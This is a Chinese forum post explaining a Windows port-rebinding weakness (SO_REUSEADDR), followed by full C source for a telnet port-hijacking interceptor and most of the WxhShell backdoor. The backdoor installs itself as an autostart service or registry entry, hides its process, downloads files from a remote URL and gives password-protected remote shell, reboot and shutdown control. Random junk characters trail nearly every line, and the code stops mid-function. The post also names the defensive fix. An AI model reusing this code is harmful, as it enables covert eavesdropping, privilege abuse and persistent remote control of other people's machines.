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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K,L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ld/\`s[i  
8^6dK  
  saddr.sin_family = AF_INET; 8!u8ZvbFG  
mA>u6Rlc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }o MY  
Q{+N{/tF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #&ZwQw  
qx<h rC0Z&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \-~TW4dYe  
Uk|(VR9  
  这意味着什么?意味着可以进行如下的攻击: @XFy^?  
r__Y{&IO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =dT sGNz  
b(|1DE0Cv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i$!-mYi+Q!  
Kn+m9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JVeb$_0k  
$d _%7xx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {P@OV1  
COk;z.Kn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yCT:U&8%F  
6`Af2Y_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [<p7'n3x  
4` zfrT^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O+Qt8,  
ts3BmfR?  
  #include j=~c( B  
  #include 3G)Wmmh"a  
  #include aL%amL6CX  
  #include    Y>i?nC%*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0755;26Bx  
  int main() KM ;'MlO  
  { 7BDRA},o  
  WORD wVersionRequested; 7Ta",S@m  
  DWORD ret; 8rx"D`{|  
  WSADATA wsaData; W bW@V_rr  
  BOOL val; bhWH  
  SOCKADDR_IN saddr; jk'.Gz  
  SOCKADDR_IN scaddr; :;(zA_-  
  int err; T,eP&IN  
  SOCKET s; x O~t  
  SOCKET sc; A$]&j5nh|  
  int caddsize; \$] V#@F  
  HANDLE mt; ,Bg)p_B  
  DWORD tid;   qFD#D_O6  
  wVersionRequested = MAKEWORD( 2, 2 ); UBy< vwnU  
  err = WSAStartup( wVersionRequested, &wsaData ); PtT=HvP!k  
  if ( err != 0 ) { g1s\6%g  
  printf("error!WSAStartup failed!\n"); N-4k 9l1  
  return -1; b7_uT`<  
  } 42wa9UL<Ka  
  saddr.sin_family = AF_INET; 9OnH3  
   %8a886;2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #}Qzu~  
 mOkf   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  DlWnz-  
  saddr.sin_port = htons(23); ]d|:&h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bEJz>oyW"  
  { uYv"5U]MFv  
  printf("error!socket failed!\n"); ?-`G0(  
  return -1; v9qgfdBS5  
  } @GpM 4>:  
  val = TRUE; 0[qU k(=}[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s;'j n_,0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |_^A$Hv  
  { I*Q^$YnM  
  printf("error!setsockopt failed!\n"); N5%zbfKM  
  return -1; 9j;L-  
  } ~;*SW[4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SXW8p>1Jw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (!@ Q\P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mu?6Phj  
bo  J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5uU.K3G7  
  { 1dy>a=W  
  ret=GetLastError(); z!r-g(^G  
  printf("error!bind failed!\n"); 7z=zJ4C  
  return -1; _*SA_.0  
  } Gw/imXL  
  listen(s,2); !6UtwCVR  
  while(1) o`8dqP  
  { K2u$1OKv  
  caddsize = sizeof(scaddr); e /4{pe+,  
  //接受连接请求 c3>#.NP_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B4 cm_YGE  
  if(sc!=INVALID_SOCKET) "|6#n34  
  { Wx<fD()  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w,t>M_( N  
  if(mt==NULL) =&J 7 'nDP  
  { >+ZG {'!j  
  printf("Thread Creat Failed!\n"); JToc("V  
  break; &GC`4!H  
  } dvAvG.;U  
  }  .UUY9@  
  CloseHandle(mt); $~[k?D  
  } Ie[8Iot?bn  
  closesocket(s); tCJ+OU5/  
  WSACleanup(); 4\.1phe$a  
  return 0; 4nfpPN t  
  }   9bL`0L  
  DWORD WINAPI ClientThread(LPVOID lpParam) fJb<<6C  
  { j}2,|9ne  
  SOCKET ss = (SOCKET)lpParam; ~ "^]\3#  
  SOCKET sc; 5f:Mb|. ?  
  unsigned char buf[4096]; }CiB+  
  SOCKADDR_IN saddr; me+F0:L  
  long num; y3]7^+k  
  DWORD val; )L*6xTa~  
  DWORD ret; {PXN$p:'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /a?*Ap5"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \m3;<A/3n  
  saddr.sin_family = AF_INET; L@"1d.k_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Iq@:n_~  
  saddr.sin_port = htons(23); ZZ<uiN$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5w\>Whbd  
  { LG0z|x(  
  printf("error!socket failed!\n"); [84f[`!Ui  
  return -1; ]ZQ3|ZJ?<  
  } "QWF&-kAI  
  val = 100; x2|YrkGv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :3z`+5Y*  
  { S+mZ.aFS0z  
  ret = GetLastError(); ~i4h.ZLj  
  return -1; 1mLd_ ]F'F  
  } cH&-/|N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F ;o ^.  
  { z"b}V01F#  
  ret = GetLastError(); ],lrT0_cT  
  return -1; t(O{IUYM  
  } {R2gz]v4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6/m|Sg.m  
  { TV~ <1vj  
  printf("error!socket connect failed!\n"); MT8BP)C  
  closesocket(sc); x-Kq=LFy.  
  closesocket(ss); jIq@@8@o  
  return -1; ^ di[J^  
  } `h>a2   
  while(1) Q -!,yCu  
  { u}eqU%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `uO(#au,U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u7_IO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U;Iqz1S  
  num = recv(ss,buf,4096,0); ^^u{W|'CaH  
  if(num>0) hPs7mnSW  
  send(sc,buf,num,0); eY)JuJ?  
  else if(num==0) 03WLVP@  
  break; ewNzRH,b  
  num = recv(sc,buf,4096,0); nN=o/zd  
  if(num>0) K0|8h!WF+  
  send(ss,buf,num,0); Ue>;h9^  
  else if(num==0) ~nQv yM!$  
  break; R6^U9 fDG  
  } +:hZ,G?>  
  closesocket(ss); E4a`cGb  
  closesocket(sc); 3yWu-U \k  
  return 0 ; J YA  
  }  k3[%pS  
+1Qa7 \  
5J d7<AO_  
========================================================== [jPUAr}  
`D0>L '  
下边附上一个代码,,WXhSHELL jE /pba4R  
"f/Su(6{0  
========================================================== '[E|3K5d  
(]JZ1s|  
#include "stdafx.h" or?@Ti;  
P8hA<{UFS\  
#include <stdio.h> f^P:eBgpx  
#include <string.h> Uxla,CCp-  
#include <windows.h> ~ .}  
#include <winsock2.h> PSOW}Y|q  
#include <winsvc.h> e)pQh& uD  
#include <urlmon.h> y4%u< /  
tE i-0J  
#pragma comment (lib, "Ws2_32.lib") E?{{z4  
#pragma comment (lib, "urlmon.lib") ?;s}GpEY:  
njbEw4nX  
#define MAX_USER   100 // 最大客户端连接数 ^BDM'  
#define BUF_SOCK   200 // sock buffer a J%&Y5L  
#define KEY_BUFF   255 // 输入 buffer %?GLMf7)  
g"Eg=CU  
#define REBOOT     0   // 重启 -dCM eC  
#define SHUTDOWN   1   // 关机 k<aKT?Ek>  
5XK}8\  
#define DEF_PORT   5000 // 监听端口 -8j<`(M' 5  
D(EY"s37  
#define REG_LEN     16   // 注册表键长度 E\3fL"lM  
#define SVC_LEN     80   // NT服务名长度 !H,_*u.  
vdwh59W  
// 从dll定义API 5_bIc=L1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); svt%UE|_:$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2E V M*^A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (zW;&A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^Z?X\t  
hxIG0d!o  
// wxhshell配置信息 dQ&S&SW  
struct WSCFG { f L @rv  
  int ws_port;         // 监听端口 K+9oV[DMs  
  char ws_passstr[REG_LEN]; // 口令  .AEOf0t  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZG=B'4W  
  char ws_regname[REG_LEN]; // 注册表键名 'S_kD! BO  
  char ws_svcname[REG_LEN]; // 服务名 wz!a;]agg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^tWt"GgC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -8sm^A>C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K+3dwQo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >C6wm^bl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0FA N9u2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `t0?PpUo  
!$ $|zB%  
}; hD~P)@^  
-JL  
// default Wxhshell configuration ]zGgx07d  
struct WSCFG wscfg={DEF_PORT, X bF;  
    "xuhuanlingzhe", $~h\8  
    1, Z3:M%)e_u$  
    "Wxhshell", I6bekOvP  
    "Wxhshell", G8c 8`~t  
            "WxhShell Service", Irk@#,{<  
    "Wrsky Windows CmdShell Service", HPc7Vo(  
    "Please Input Your Password: ", 4nC`DJ;V  
  1, KfC8~{O-  
  "http://www.wrsky.com/wxhshell.exe", xM ]IU <  
  "Wxhshell.exe" 4vri=P 2%  
    }; .C]V==z`[4  
2k\i/i/Y  
// 消息定义模块 3j{VpacZY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]1A"l!yf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'b#`)w@/=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6`sOhVD  
char *msg_ws_ext="\n\rExit."; K<@gU\-!  
char *msg_ws_end="\n\rQuit."; #St=%!  
char *msg_ws_boot="\n\rReboot..."; [ \I&/?On  
char *msg_ws_poff="\n\rShutdown..."; "qEi$a&]  
char *msg_ws_down="\n\rSave to "; zdDn. vG  
aq ~g 54  
char *msg_ws_err="\n\rErr!"; )` nX~_'p  
char *msg_ws_ok="\n\rOK!"; g.AMCM?z  
)@-v6;7b0  
char ExeFile[MAX_PATH]; RX-qL,dc  
int nUser = 0; UQGOCP_  
HANDLE handles[MAX_USER]; "][MCVYP  
int OsIsNt; Kjbz\~  
y`"~zq0D  
SERVICE_STATUS       serviceStatus; //c<p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :D-xa!7  
PJC[#>}  
// 函数声明 !Vtt.j &4  
int Install(void); "NUl7ce.R  
int Uninstall(void); F_8nxQ-  
int DownloadFile(char *sURL, SOCKET wsh); .#"O VI]#  
int Boot(int flag); &^ECQ  
void HideProc(void); X[L6Av  
int GetOsVer(void); l0c ws`V  
int Wxhshell(SOCKET wsl); 3"2 8=)o  
void TalkWithClient(void *cs); @@L@r6  
int CmdShell(SOCKET sock); (p1y/"Xh  
int StartFromService(void); ahagt9[,:F  
int StartWxhshell(LPSTR lpCmdLine); (!h%) _?.l  
 &!I^m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xkv2#"*v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wJ_E\vP  
{}Y QB'}  
// 数据结构和表定义 SHw%u~[hu  
SERVICE_TABLE_ENTRY DispatchTable[] = >>lT-w  
{ hg}Rh  
{wscfg.ws_svcname, NTServiceMain}, :e-&,K  
{NULL, NULL} ~z)diF<  
}; Cm:&n|  
lO482l_t  
// 自我安装 ,vBi)H  
int Install(void) (2H e]M\  
{ fH_G;#q  
  char svExeFile[MAX_PATH]; xPa>-N=*  
  HKEY key; {^TVZdw  
  strcpy(svExeFile,ExeFile); 2ql7*g?Uq@  
+P C<#  
// 如果是win9x系统,修改注册表设为自启动 K&(}5`H0=  
if(!OsIsNt) { "y R56`=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9/$D&tRN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wAHW@q9CK  
  RegCloseKey(key); .r9-^01mG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :tP:X+?O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %N\pfZ2\  
  RegCloseKey(key); !"u) `I2  
  return 0; 9*!C|gC9Ia  
    } <v<TsEI  
  } nQ\ +Za==  
} lQs|B '  
else { bP;cDQ(g  
vkmTd4g  
// 如果是NT以上系统,安装为系统服务 .lMIJN&/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zh5{t0E}C  
if (schSCManager!=0) 76[O3%  
{ 9XGzQ45R  
  SC_HANDLE schService = CreateService >S /Zd  
  ( &*TwEN^h  
  schSCManager, du2q6"  
  wscfg.ws_svcname, iqecm]Z0  
  wscfg.ws_svcdisp, (5@9j  
  SERVICE_ALL_ACCESS, 8+Lig  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w7Nb+/,sg  
  SERVICE_AUTO_START, .Z=D|&!  
  SERVICE_ERROR_NORMAL, WeGT}  
  svExeFile, MRvtuE|g  
  NULL, E.v~<[g  
  NULL, Qh%(yL!  
  NULL, }Sa2s&[<  
  NULL, l" y==y  
  NULL AL/`Pqlk  
  ); 1nh2()QI[  
  if (schService!=0) HjTK/x'_'L  
  { /kLX f_  
  CloseServiceHandle(schService); n8"S;:Zm  
  CloseServiceHandle(schSCManager); @F_#d)+%>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RYMOLX84  
  strcat(svExeFile,wscfg.ws_svcname); J-lQPMI,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ARYqX\-e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 41%B%K*  
  RegCloseKey(key); ^n5[pF}Gw  
  return 0; M70Xdn  
    } ;$W/le"Xr  
  } R4,j  
  CloseServiceHandle(schSCManager); Qg+0(odd  
} )%8oE3O#  
} W(9fCDO;  
ToIvyeFr  
return 1; ~o`I[-g)  
} ?4=8z8((!  
6L~@jg~0A[  
// 自我卸载 \RZFq<6>  
int Uninstall(void) \ief [  
{ *&)<'6  
  HKEY key; c8mcJAc  
'UO,DFq[Fl  
if(!OsIsNt) { y wlN4=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iK%<0m  
  RegDeleteValue(key,wscfg.ws_regname); tx;DMxN!W  
  RegCloseKey(key); Q[i/]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ug!DL=ZW  
  RegDeleteValue(key,wscfg.ws_regname); BDY@&vF  
  RegCloseKey(key); }x4,a6^  
  return 0; 1E!0N`E  
  } N$J)Ow  
} T{u!4Yu  
} dwks"5l  
else { fAWjk&9  
,YFuMek  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); We3*WsX\  
if (schSCManager!=0) GqhnE>  
{ Y?hC/ 6$7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p2|c8n==  
  if (schService!=0) ABEC{3fWpu  
  { zcItZP  
  if(DeleteService(schService)!=0) { }AG$E}~/  
  CloseServiceHandle(schService); ZjY_AbD  
  CloseServiceHandle(schSCManager); =flgKRKk.r  
  return 0; ~,yHE3B\G  
  } B+|E|8"  
  CloseServiceHandle(schService); p8y_uN QE  
  } /zn|?Y[  
  CloseServiceHandle(schSCManager); J=>?D@K  
} eSXt"t  
} I ,Q"<? &  
>L/Rf8j&  
return 1; aR.1&3fE  
} 3ydOBeY  
Fa^5.p  
// 从指定url下载文件 i](,s.  
int DownloadFile(char *sURL, SOCKET wsh) Ojp)OeF\  
{ Y."ujo#bB  
  HRESULT hr; %a+X\\v2  
char seps[]= "/"; G5Y5_r6Gu  
char *token; o7VNw8Bp  
char *file; YKLh$  
char myURL[MAX_PATH]; "+s#!Fh *  
char myFILE[MAX_PATH]; LU4\&fd  
5bFE;Y;  
strcpy(myURL,sURL); EDvK9J  
  token=strtok(myURL,seps); &$  F0  
  while(token!=NULL) ayyn6a8  
  { A|tee@H*0  
    file=token; "xZ]i)  
  token=strtok(NULL,seps); $*K5  
  } vP&dvAUF  
|x["fWK  
GetCurrentDirectory(MAX_PATH,myFILE); =<(:5ive  
strcat(myFILE, "\\"); 8):I< }s#  
strcat(myFILE, file); vJ>A >R CB  
  send(wsh,myFILE,strlen(myFILE),0); "^gZh3  
send(wsh,"...",3,0); !zL 1XW)q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d9|dHJf  
  if(hr==S_OK) N+l~r]: &  
return 0; 0.O pgv2K  
else JY0t Hs  
return 1; Y+<C[Fiq  
(w]w 2&Y D  
} FQB)rxP  
BDxrSq,H  
// 系统电源模块 C<fWDLwYqV  
int Boot(int flag) ;_K+b,  
{ KgVit+4u/  
  HANDLE hToken; " e g`3v  
  TOKEN_PRIVILEGES tkp; %@$h?HP  
q#v.-013r  
  if(OsIsNt) { QRdNi 1&M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ZYEH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %0INtq  
    tkp.PrivilegeCount = 1; 0m)["g4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KM 4w{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hxx,E>k  
if(flag==REBOOT) { _`/0/69  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wQ!~c2a<8  
  return 0; ~w Dmt  
} 0{ v?  
else { Di9yd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D/V. o}X$  
  return 0; *)ed(+b  
} J:f>/  
  } l}335;(  
  else { W)^:*z  
if(flag==REBOOT) { '15j$q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cZ|D!1%  
  return 0; JwB:NqB  
} s6Bt)8A  
else { NUH;GMj,,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y::fcMJr;Q  
  return 0; o}v # Df  
} 7t5X  
} 7oF`Os+U  
oF.Fg<p (  
return 1; N ED`GU  
} Cd'P  
9/}i6j8Z  
// win9x进程隐藏模块 s7I*=}{g0.  
void HideProc(void) , p1 (0i  
{ & /-@R|  
.`Z{ptt>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k}ps-w6:  
  if ( hKernel != NULL ) }yx{13:[  
  { cLr? B;FS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <Ml,H%F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (m)%5*:  
    FreeLibrary(hKernel); $DA0lY\  
  } @[=*w`1  
Q[J,j+f<  
return; M42Zpb].  
} P :lv Z   
kSU5  }  
// 获取操作系统版本 -/x +M-X#  
int GetOsVer(void) H4l:L(!D  
{ bw%1*;n)  
  OSVERSIONINFO winfo; )FWF T:P~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dadOjl)S)  
  GetVersionEx(&winfo); aU^>kRGc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /T#<g:   
  return 1; x)"=*Jj  
  else bQXxb(^  
  return 0; 6 $ IXER  
} t vk^L3=<  
JsnavI6  
// 客户端句柄模块 zmr=iK  
int Wxhshell(SOCKET wsl) ^+`vh0TPQ  
{ t)cG_+rJ  
  SOCKET wsh; ,Lv} Xku  
  struct sockaddr_in client; c::x.B"w  
  DWORD myID; Lom%eoH)  
@KOa5-u  
  while(nUser<MAX_USER) 82$By]Y9  
{ eoEb\zJ  
  int nSize=sizeof(client); {6 #3`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x ?^c:`.  
  if(wsh==INVALID_SOCKET) return 1; $nn~K  
<g*rTqT'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M|n)LyL  
if(handles[nUser]==0) ?b#?Vz  
  closesocket(wsh); ++&F5'?g  
else 6\5U%~78  
  nUser++; !ox&`  
  } bx6@FKns}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7[D0n7B@  
C{!Czz.N  
  return 0; * D AgcB  
} g,,cV+  
 u`bWn  
// 关闭 socket n:*+pL;  
void CloseIt(SOCKET wsh) N e^#5T  
{ jb7=1OPD_  
closesocket(wsh); Ku&(+e  
nUser--; e3S6+H),I  
ExitThread(0); ++ dV5  
} 5@0c@Q  
uFok'3!g7%  
// 客户端请求句柄 HhqqJEp0  
void TalkWithClient(void *cs) DVB:8"Bu  
{ dtF6IdAf  
@%#(Hse  
  SOCKET wsh=(SOCKET)cs; kk~{2   
  char pwd[SVC_LEN]; Lvp/} /H/  
  char cmd[KEY_BUFF]; dtg Ja_  
char chr[1]; PU'v o4  
int i,j; OW-+23)sj  
Gi<f/xQk>  
  while (nUser < MAX_USER) { vi5~Rd`  
5Q%#Z L/'  
if(wscfg.ws_passstr) { wSAm[.1i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xrz0ch  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R=e`QMq  
  //ZeroMemory(pwd,KEY_BUFF); Q'8v!/"}p{  
      i=0; ?-i|f_`  
  while(i<SVC_LEN) { kkJg/:g  
jV<LmVcZY  
  // 设置超时 rW`F|F%  
  fd_set FdRead; UoLO#C0i  
  struct timeval TimeOut; \6lXsu;I.X  
  FD_ZERO(&FdRead); x _2]G'  
  FD_SET(wsh,&FdRead); ze 4/XR  
  TimeOut.tv_sec=8; ?BLOc;I&a  
  TimeOut.tv_usec=0; ]-}a{z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {^\-%3$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xs!eV  
plf<O5'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JHQ8o5bEQp  
  pwd=chr[0]; 4;*V^\',9  
  if(chr[0]==0xd || chr[0]==0xa) { mD=?C  
  pwd=0; t&&OhHK  
  break; ^M80 F7  
  } t%TZu>(1O  
  i++; ^#=L?e  
    } c^bA]l^a  
}!d}febk_  
  // 如果是非法用户,关闭 socket xO.7cSqgw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $(NfHIX  
} S5d{dTPq  
q6ikJ8E8b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kl={L{r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5sE^MS1  
%bimcRX#W  
while(1) { y^nR=Q]_  
eT|_0kx1  
  ZeroMemory(cmd,KEY_BUFF); MO D4O4z&  
gRFC n6Q  
      // 自动支持客户端 telnet标准   iM9563v  
  j=0; V\G>e{  
  while(j<KEY_BUFF) { A]J^{h0 k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =CVw0'yZ  
  cmd[j]=chr[0]; ko:I.6-K  
  if(chr[0]==0xa || chr[0]==0xd) { va<+)b\  
  cmd[j]=0; $` oA$E3  
  break; QB.7n&u  
  } ]u,~/Gy  
  j++; /Mk)H d  
    } YL. z|{\e  
y H'\<bT  
  // 下载文件 ~"wD4Ue  
  if(strstr(cmd,"http://")) { n (|>7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q-RGplx  
  if(DownloadFile(cmd,wsh)) |4c==7.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e56#Qb@$\  
  else D!P?sq_5r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XMdc n,  
  } wiGwN  
  else { ]lo1Kw  
5^Y/RS i  
    switch(cmd[0]) { j~8+,:  
  Qnw$=L:  
  // 帮助 _kd |:,  
  case '?': { xL BG}C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N:<O  
    break; Y]lqtre*Y  
  } D=\|teA&  
  // 安装 6a@~;!GlI  
  case 'i': { @Dy.HQ~  
    if(Install()) ;FmSL#]I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wY95|QS  
    else "tR.'F[n4P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zb" hy"hKw  
    break; _R<HC  
    } K$.zO4  
  // 卸载 moR]{2Cd{  
  case 'r': { vhHMxOZ;  
    if(Uninstall()) Dr 1F|[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yRYWx` G  
    else |rvrSab)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c|R/,/  
    break; R\}YD*  
    } _y9P]@Q7%  
  // 显示 wxhshell 所在路径 1FJ[_ l  
  case 'p': { Kzb@JBIF  
    char svExeFile[MAX_PATH]; 9X%Klm 5w  
    strcpy(svExeFile,"\n\r"); @5wg'mM  
      strcat(svExeFile,ExeFile); Ig<p(G.;}  
        send(wsh,svExeFile,strlen(svExeFile),0); E8i:ER $$7  
    break; p[)<d_  
    }  eqR#`  
  // 重启 uI2'jEjO  
  case 'b': { Q7r,5w& cm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7j:{rCp3J  
    if(Boot(REBOOT)) gp HwiFc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `/zt&=`VB  
    else { %Let AR  
    closesocket(wsh); 2FzS_\":I  
    ExitThread(0); RV` j>1  
    } {H V,2-z  
    break; RuZ;hnE&  
    } ='0!B]<G  
  // 关机 }#8uXA  
  case 'd': { ? st#6=M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +][P*/Ek  
    if(Boot(SHUTDOWN)) $at|1+bQ  
